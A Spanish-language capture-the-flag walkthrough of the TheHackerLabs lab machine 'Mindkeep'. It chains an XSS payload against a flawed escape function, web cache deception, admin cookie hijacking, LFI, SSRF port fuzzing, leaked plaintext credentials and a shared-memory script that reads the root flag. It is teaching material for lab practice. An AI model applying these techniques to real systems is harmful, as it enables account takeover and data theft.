16 de octubre de 2026 · 7 min de lectura · TheHackerLabs · Linux · Hard

Mindkeep

Esta maquina tiene una gran cadena de ataques web para poder lograr comprometer el sistema y acabar siendo root en el mismo

WEBSSRFLFISQL

Reconocimiento Inicial

Empiezo haciendo un ping para enviar un paquete ICMP a la victima, de esta forma podemos hacernos una idea de su sistema operativo y también si tenemos conexión a ella

ping -c1 192.168.1.191

PING 192.168.1.191 (192.168.1.191) 56(84) bytes of data.
64 bytes from 192.168.1.191: icmp_seq=1 ttl=64 time=1.83 ms

--- 192.168.1.191 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.827/1.827/1.827/0.000 ms

Vemos que hemos recibido el paquete de vuelta, esto quiere decir que tenemos conexión a la maquina, y también vemos un TTL (Time To Live) de 64 así que podemos asumir que estamos ante una maquina Linux.

Escaneo de puertos

Ahora que ya sabemos a que nos enfrentamos vamos a enumerar que puertos están abiertos con nmap.

en mi caso he creado una funcion en bash para que al exportar una variable IP me haga el escaneo de puertos con rustscan

export IP=192.168.1.191

🎯 Nueva IP detectada: 192.168.1.191
   Comando: rustscan -a "192.168.1.191" --ulimit 5000 -r 1-65535 -- -oN target -sCV

   ¿Lanzar RustScan? [Y/n]: Y
   🚀 Ejecutando...

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 192.168.1.191:22
Open 192.168.1.191:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -oN target -sCV" on ip 192.168.1.191
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2026-05-30 12:42 BST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:42
Completed NSE at 12:42, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:42
Completed NSE at 12:42, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:42
Completed NSE at 12:42, 0.00s elapsed
Initiating ARP Ping Scan at 12:42
Scanning 192.168.1.191 [1 port]
Completed ARP Ping Scan at 12:42, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:42
Completed Parallel DNS resolution of 1 host. at 12:42, 13.00s elapsed
DNS resolution of 1 IPs took 13.00s. Mode: Async [#: 1, OK: 0, NX: 0, DR: 1, SF: 0, TR: 3, CN: 0]
Initiating SYN Stealth Scan at 12:42
Scanning 192.168.1.191 [2 ports]
Discovered open port 80/tcp on 192.168.1.191
Discovered open port 22/tcp on 192.168.1.191
Completed SYN Stealth Scan at 12:42, 0.01s elapsed (2 total ports)
Initiating Service scan at 12:42
Scanning 2 services on 192.168.1.191
Completed Service scan at 12:42, 6.01s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.1.191.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:42
Completed NSE at 12:42, 0.14s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:42
Completed NSE at 12:42, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:42
Completed NSE at 12:42, 0.00s elapsed
Nmap scan report for 192.168.1.191
Host is up, received arp-response (0.00068s latency).
Scanned at 2026-05-30 12:42:37 BST for 7s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 560df6bd0945ac3f30378936ac3cf59e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOM8TkoENl42dFAtMAdM5zrrbAk72rYUlGFuOFRflIHHJjNW0FearpSRdBVHcxrcM/8ep4SV23o7TQRj0uzzbYA=
|   256 ccc5235ced73294bbd8c0798c8fc0dd6 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKZzavOWtBC1I80cXJEtuh/0X4HSgA6PDPKJ/5blsa1Z
80/tcp open  http    syn-ack ttl 64 nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mindkeep.thl/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
MAC Address: 08:00:27:F0:37:30 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:42
Completed NSE at 12:42, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:42
Completed NSE at 12:42, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:42
Completed NSE at 12:42, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.49 seconds
           Raw packets sent: 3 (116B) | Rcvd: 3 (116B)

Vemos en el reporte de nmap que tiene el virtual host mindkeep.thl asi que vamos a añadirlo en el /etc/passwd.

echo "192.168.1.191 mindkeep.thl" | sudo tee -a /etc/hosts

Una vez dentro vamos a empezar a analizar la web.

Analisis Web

Antes de entrar a la web empiezo utilizando whatweb para ver las tecnologías de la web

whatweb -v http://mindkeep.thl/

WhatWeb report for http://mindkeep.thl/
Status    : 200 OK
Title     : MindKeep
IP        : 192.168.1.191
Country   : RESERVED, ZZ

Summary   : HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], nginx[1.24.0]

Detected Plugins:
[ HTML5 ]
	HTML version 5, detected by the doctype declaration


[ HTTPServer ]
	HTTP server header string. This plugin also attempts to
	identify the operating system from the server header.

	OS           : Ubuntu Linux
	String       : nginx/1.24.0 (Ubuntu) (from server string)

[ nginx ]
	Nginx (Engine-X) is a free, open-source, high-performance
	HTTP server and reverse proxy, as well as an IMAP/POP3
	proxy server.

	Version      : 1.24.0
	Website     : http://nginx.net/

HTTP Headers:
	HTTP/1.1 200 OK
	Server: nginx/1.24.0 (Ubuntu)
	Date: Sat, 30 May 2026 11:45:37 GMT
	Content-Type: text/html; charset=utf-8
	Transfer-Encoding: chunked
	Connection: close
	Vary: Cookie
	Content-Encoding: gzip

Vemos que la web corre en un nginx 1.24.0.

nginx es un software de código abierto ligero, de alto rendimiento y bajo consumo de memoria. Funciona principalmente como servidor web, pero también se utiliza como proxy inverso, balanceador de carga y caché HTTP.

Sabiendo tambien que utiliza virtual hosting podriamos utilizar gobuster para enumerar subdominios y aumentar nuesta superficie de ataque

gobuster vhost -u http://mindkeep.thl/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 64 --append-domain -r --exclude-length 166

===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://mindkeep.thl/
[+] Method:                    GET
[+] Threads:                   64
[+] Wordlist:                  /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] User Agent:                gobuster/3.8.2
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Length:            166
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 220557 / 220557 (100.00%)
===============================================================
Finished
===============================================================

Al no encontrar ningun subdominio, procedo a entrar a la web para ver su contenido.

Pasted image 20260530125551

Al entrar podremos ver en la esquina superior derecha 3 botones interesantes, empezando por el primero features, donde nos explican las actualizaciones de la web, vamos a leerlas:

Pasted image 20260530125704

Viendo la descripcion, el 3 post titulado Optimized Performance nos interesara, ya que habla de que han optimizado la web añadiendole a el apartado My Notes la carga de archivos estaticos mediante cache. Esto nos puede servir ya que podria ser vulnerable a Web Cache Deception (Mas adelante….) ;)

siguiendo con el segundo boton, login podemos ver el panel de login de la pagina web, asi que vamos a comprobar si es vulnerable a SQLi, NoSQL o Xpath Injection:

SQLi Vemos que no es vulnerable a SQLi para poder bypassear el login.

Pasted image 20260530130103

NoSQL Vemos que no es vulnerable a NoSQL para poder bypassear el login ya que no soporta json.

Pasted image 20260530130309

XPath Vemos que tampoco es vulnerable a XPath para poder bypassear el login.

Pasted image 20260530130747

Sabiendo que no es vulnerable a ninguna de las injecciones que le podemos hacer a un login (Descartando LDAP injection) vamos a registrarnos en la web.

Pasted image 20260530130954

JavaScript analisis

Una vez dentro podemos ver que podemos crear notas, en estas se reflejan en la parte inferior. Asi que podriamos ver si es vulnerable a Self XSS, para ello vamos a revisar el debugger de las tools de firefox.

function escapeHTML(str) {
    return str
    .replace("&", "&")
    .replace("<", "&lt;")
    .replace(">", "&gt;")
    .replace("\"", "&quot;")
    .replace("'", "&#39;");
}

function createNote() {
    const notesList = document.getElementById('notes-list');
    const userId = notesList.dataset.userId;

    const titleNote = document.getElementById('title').value;
    const contentNote = document.getElementById('content').value;

    fetch(`/api/user/${userId}/create_note/`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
            title: titleNote,
            content: contentNote
        })
    })
    .then(response => {
        if (response.status === 200 || response.status === 201) {
        showAlert("success", "Note created successfully");
        loadNotes();
        
    }
        if (!response.ok) throw new Error('HTTP ' + response.status);
        return response.json();
    })
    .catch(err => {
        console.error(err);
    });
}

async function loadNotes() {
    const notesList = document.getElementById('notes-list');
    const noNotesMsg = document.getElementById('no-notes-message');

    const userId = notesList.dataset.userId;

    try {
        const response = await fetch(`/api/user/${userId}/notes/`);
        if (!response.ok) throw new Error('Error fetching notes');

        const result = await response.json();

        const notes = result.notes || result || [];

        notesList.innerHTML = '';

        if (notes.length === 0) {
            noNotesMsg.style.display = 'block';
            return;
        } else {
            noNotesMsg.style.display = 'none';
        }

        notes.forEach(note => {
            const card = document.createElement('div');
            card.className = 'membership-card';
            card.style.flex = '1 1 300px';

            card.innerHTML = `
                <h3>${escapeHTML(note.title)}</h3>
                <p>${escapeHTML(note.content)}</p>
                <button class="btn-close" onclick="delNote(${note.id})">Delete Note</button>
            `;

            notesList.appendChild(card);
        });

    } catch (error) {
        console.error(error);
    }
}

function delNote(note_id) {
    const notesList = document.getElementById('notes-list');
    const userId = notesList.dataset.userId;
    
    try {
        fetch(`/api/user/${userId}/del_note/${note_id}`);
        showAlert('success','Note successfully deleted');
        setTimeout(() => {
            location.reload();
        }, "1750");
    } catch (error) {
        console.err(error)
    }
}

function exportNotes(){
    window.location.href = '/api/features/export-notes'
}

window.addEventListener('DOMContentLoaded', loadNotes);

Como podemos ver en la primera funcion que tenemos en el javascript llamada escapeHTML, vemos que esta mal programado ya que replace() asi sin mas solo afecta a la primera ocurrencia de cada caracter especificado en la funcion.

Stored Self XSS

por lo que podriamos crear un payload para saltarnos ese replace:

<> <img src=x onerror=alert();>

y… Perfecto! nuestro analisis a sido exitoso, y ya sabemos que hay un Self XSS

Pasted image 20260530132401

Web Cache Deception

Pero, y esto de que nos sirve si es SELF XSS, pues si recordamos la pista que nos dan en el features, podemos recordar que en “My Notes” (Justo la pestaña del Stored Self XSS) han añadido cache, asi que podriamos probar un ataque Web cache deception

Web Cache Deception ocurre cuando un atacante engaña a un servidor para que almacene en caché una respuesta privada de un usuario (ej. su perfil) bajo una URL de apariencia estática. Luego, el atacante accede a esa URL y obtiene los datos sensibles de la víctima.

Podemos utilizar de igual manera que con el XSS, las tools de firefox para poder ver si se cargan archivos estaticos (Con extension .js, .css…) y asi poder confirmar que se cargan estos archivos y probar nosotros con esta vulnerabilidad;

Pasted image 20260530133048

Vemos que si, asi que vamos a abrir burpsuite para hacerlo mas facil.

Primero tenemos que entender que son los delimitadores:

Los delimitadores separan elementos dentro de una URL (por ejemplo, ? separa la ruta del query string). Distintos frameworks y tecnologías interpretan ciertos caracteres como delimitadores de forma inconsistente, lo que puede generar vulnerabilidades de web cache deception.

una vez sepamos esto, tendremos que empezar a probar delimitadores, el mas conocido es ; asi que vamos a empezar por ese, creando asi una URL como esta:

http://mindkeep.thl/dashboard/notes;test.js

Pasted image 20260530134106

Vemos que da un 404, esto nos dice que el ; no es un delimitador de la URL, asi que vamos a fijarnos mejor en la URL normal, donde vemos que el delimitador es /

http://mindkeep.thl/dashboard/notes/test2.js

esta si que funciona correctamente y si nos fijamos en el burp podemos ver la cabecera X-Cache-Status: HIT lo que nos dice que se a guardado perfectamente.

Pasted image 20260530134322

Ahora que ya sabemos esto, podemos aprovecharnos de la funcionalidad de la web report a bug para enviar el ling cacheado en la web con el XSS para hacer un ataque de cookie hijaking.

inicio un servidor por python en el puerto 80 y le envio el link cacheado a el administrator.

Si funciona, ahora somos usuario administrator.

LFI

Una vez seamos admins podemos ver que la funcionalidad “Export Notes” que antes teniamos desactivada, podemos utilizarla como usuario admin, esta funcionalidad, al pulsar en el boton nos descarga un archivo, podemos pulsar en la descarga y con click derecho copiamos el link de descarga y lo interceptamos con burp.

Pasted image 20260530142727

Y aqui obtuvimos el LFI, y, si recordamos, en el output de whatweb nos reporto que estabamos ante un nginx, de hecho lo podemos ver en la cabecera Server: ...

Sabiendo esto podemos mirar endpoints relacionados con la configuracionde nginx, despues de un rato probando, encontre la siguiente ruta:

Pasted image 20260530143934

Donde nos dice donde esta guardada la pagina web. Aprovechare este LFI para leer el index.html, aunque, podemos observar que en la linea 26 vemos que la web corre en un proxy por el puerto 5000 internamente, asi que lo mas seguro es que sea un werkzeug y su archivo sea un app.py

Werkzeug es una completa biblioteca de utilidades para WSGI (Web Server Gateway Interface) en Python. Actúa como el motor subyacente que permite que las aplicaciones web de Python se comuniquen con los servidores web.

Pasted image 20260530144342

SSRF

Leyendo el codigo del werkzeug, en el ultimo endpoint indicado en el codigo, podemos ver que hace una peticion al valor del parametro url por get, lo que significa que podria ser vulnerable a SSRF

Pasted image 20260530144648

Ya que es vulnerable, podriamos hacer un escaneo de puertos para ver que puertos tiene abiertos internamente. Para ello utilizare ffuf, pero antes creare una secuencia de numeros del 1-65535 para hacer un escaneo de todos los puertos.

seq 1 65535 > ports.txt

Ahora si, podemos hacer el fuzzing con ffuf.

ffuf -u 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:FUZZ/' -w ports.txt -H "Cookie: session=eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3IifQ.ahqfWg.fnxK-_h2jwAAXbaTG9E7e7nD33o" -fs 20



        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:FUZZ/
 :: Wordlist         : FUZZ: /workspace/ports.txt
 :: Header           : Cookie: session=eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3IifQ.ahqfWg.fnxK-_h2jwAAXbaTG9E7e7nD33o
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 20
________________________________________________

80                      [Status: 200, Size: 2690, Words: 731, Lines: 2, Duration: 129ms]
3333                    [Status: 200, Size: 227, Words: 27, Lines: 2, Duration: 86ms]
5000                    [Status: 200, Size: 2690, Words: 731, Lines: 2, Duration: 176ms]
9999                    [Status: 200, Size: 227, Words: 27, Lines: 2, Duration: 101ms]

Vemos puerto 3333, asi que podriamos entrar desde el SSRF al puerto 3333, pero nos dara un 404 not found, asi que haremos fuzzing de igual manera que con los puertos.

ffuf -u 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:3333/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -H "Cookie: session=eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3IifQ.ahqfWg.fnxK-_h2jwAAXbaTG9E7e7nD33o" -fs 227



        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:3333/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
 :: Header           : Cookie: session=eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3IifQ.ahqfWg.fnxK-_h2jwAAXbaTG9E7e7nD33o
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 227
________________________________________________

login                   [Status: 200, Size: 808, Words: 100, Lines: 2, Duration: 127ms]
chat                    [Status: 200, Size: 808, Words: 100, Lines: 2, Duration: 92ms]
api                     [Status: 200, Size: 58, Words: 5, Lines: 2, Duration: 109ms]
logout                  [Status: 200, Size: 808, Words: 100, Lines: 2, Duration: 119ms]

En el output de ffuf podemos observar un /api que podria ser interesante, asi que seguiremos haciendo fuzzing a partir de ahi:

ffuf -u 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:3333/api/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -H "Cookie: session=eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3IifQ.ahqfWg.fnxK-_h2jwAAXbaTG9E7e7nD33o" -fs 227


        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:3333/api/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
 :: Header           : Cookie: session=eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3IifQ.ahqfWg.fnxK-_h2jwAAXbaTG9E7e7nD33o
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 227
________________________________________________

chat                    [Status: 200, Size: 54, Words: 4, Lines: 2, Duration: 113ms]

Observamos /api/chat al intentar entrar desde el ssrf podemos ver el siguiente mensaje de error:

Pasted image 20260530150030

Siguiendo la logica de que los space son _ en programacion, vamos a añadir el parametro user_id.

Pasted image 20260530150200

podemos ver un mensaje de jessy, donde nos da su contraseña en texto plano, vamos a probar a entrar por ssh.

Escalada de privilegios

Y ya estamos dentro del ssh, vamos a ver como escalar a root. Vamos al grano, en el /opt/it_cache_testing tenemos el codigo de la aplicacion que corre en el puerto 9999

from flask import Flask, request, jsonify
import sysv_ipc
import json
import hashlib

app = Flask(__name__)
app.secret_key = 'iTk3yT3st1n3g!!2026?MindK33p'

class SHMCache:
    SHM_KEY = 0x5353
    SHM_SIZE = 65536

    def __init__(self):
        try:
            self.shm = sysv_ipc.SharedMemory(
                self.SHM_KEY,
                sysv_ipc.IPC_CREAT,
                mode=0o666,
                size=self.SHM_SIZE
            )
        except sysv_ipc.ExistentialError:
            self.shm = sysv_ipc.SharedMemory(self.SHM_KEY)

    def _make_key(self, raw_key: str) -> str:
        return hashlib.md5(raw_key.encode()).hexdigest()

    def write(self, key: str, value: str):
        cache = self.read_all()
        cache[self._make_key(key)] = value
        raw = json.dumps(cache).encode('utf-8').ljust(self.SHM_SIZE, b'\x00')
        if len(raw) > self.SHM_SIZE:
            raise ValueError("Cache size exceeded SHM_SIZE")
        self.shm.write(raw)

    def read(self, key: str):
        cache = self.read_all()
        return cache.get(self._make_key(key))

    def read_all(self) -> dict:
        raw = self.shm.read(self.SHM_SIZE).rstrip(b'\x00')
        return json.loads(raw.decode('utf-8')) if raw else {}

shm_cache = SHMCache()

@app.route('/api/it/cache/v1/shm_test/', methods=["POST", "GET"])
def cache_v1():
    username = request.args.get('username')
    password = request.args.get('password')
    file = request.args.get('file')

    if not username or not password:
        return jsonify({
            "error": "Missing credentials",
            "message": "username and password are required"
        }), 400

    if not (username == 'it' and password == 'z@3mhsMBHM'):
        return jsonify({
            "error": "Unauthorized",
            "message": "No active session"
        }), 401

    if not file:
        return {"error": "Missing 'file' parameter"}, 400

    cached = shm_cache.read(file)
    if cached is not None:
        return {"source": "cache", "file": file}

    shm_cache.write(file, open(file, 'r').read())
    return {"source": "fresh", "file": file}

if __name__ == '__main__':
    app.run(debug=False, port=9999)

Si nos fijamos bien podemos observar las credenciales del usuario it.

it / z@3mhsMBHM

En el ultimo endpoint podemos observar que se aprovecha de shm_cache para cachear el archivo que le pasemos por el parametro file, en el caso de que no exista nos devuelve un 500 internal server error.

SHM Cache (Memoria Caché de Memoria Compartida) se refiere al uso de memoria RAM (a través de la función shm o memoria compartida) para almacenar datos temporales de acceso frecuente.

En mi caso sabiendo que en las maquinas de the hackers labs la ruta default para guardar la root flag es /root/root.txt, lo indico en el parametro file y asi poder dumpearlo con C.

> curl -s 'http://127.0.0.1:9999/api/it/cache/v1/shm_test/?username=it&password=z@3mhsMBHM&file=/root/root.txt'
{"file":"/root/root.txt","source":"cache"}

Para dumpearlo simplemente ejecuto el siguiente script en python:

python3 - <<'EOF'
import ctypes, ctypes.util, json

libc = ctypes.CDLL(ctypes.util.find_library("c"))

# Definir tipos correctos para shmat
libc.shmat.restype = ctypes.c_void_p
libc.shmat.argtypes = [ctypes.c_int, ctypes.c_void_p, ctypes.c_int]

shmid = libc.shmget(0x5353, 0, 0o666)
print(f"shmid: {shmid}")

addr = libc.shmat(shmid, None, 0x1000)  # SHM_RDONLY
print(f"addr: {addr}")

if addr is None or addr == ctypes.c_void_p(-1).value:
    print("shmat falló")
else:
    buf = (ctypes.c_char * 65536).from_address(addr)
    raw = bytes(buf).rstrip(b'\x00')
    if raw:
        data = json.loads(raw.decode('utf-8'))
        for k, v in data.items():
            print(f"MD5: {k}")
            print(f"Contenido:\n{v}")
    else:
        print("Vacío")
EOF

y ya obtuvimos la flag de root.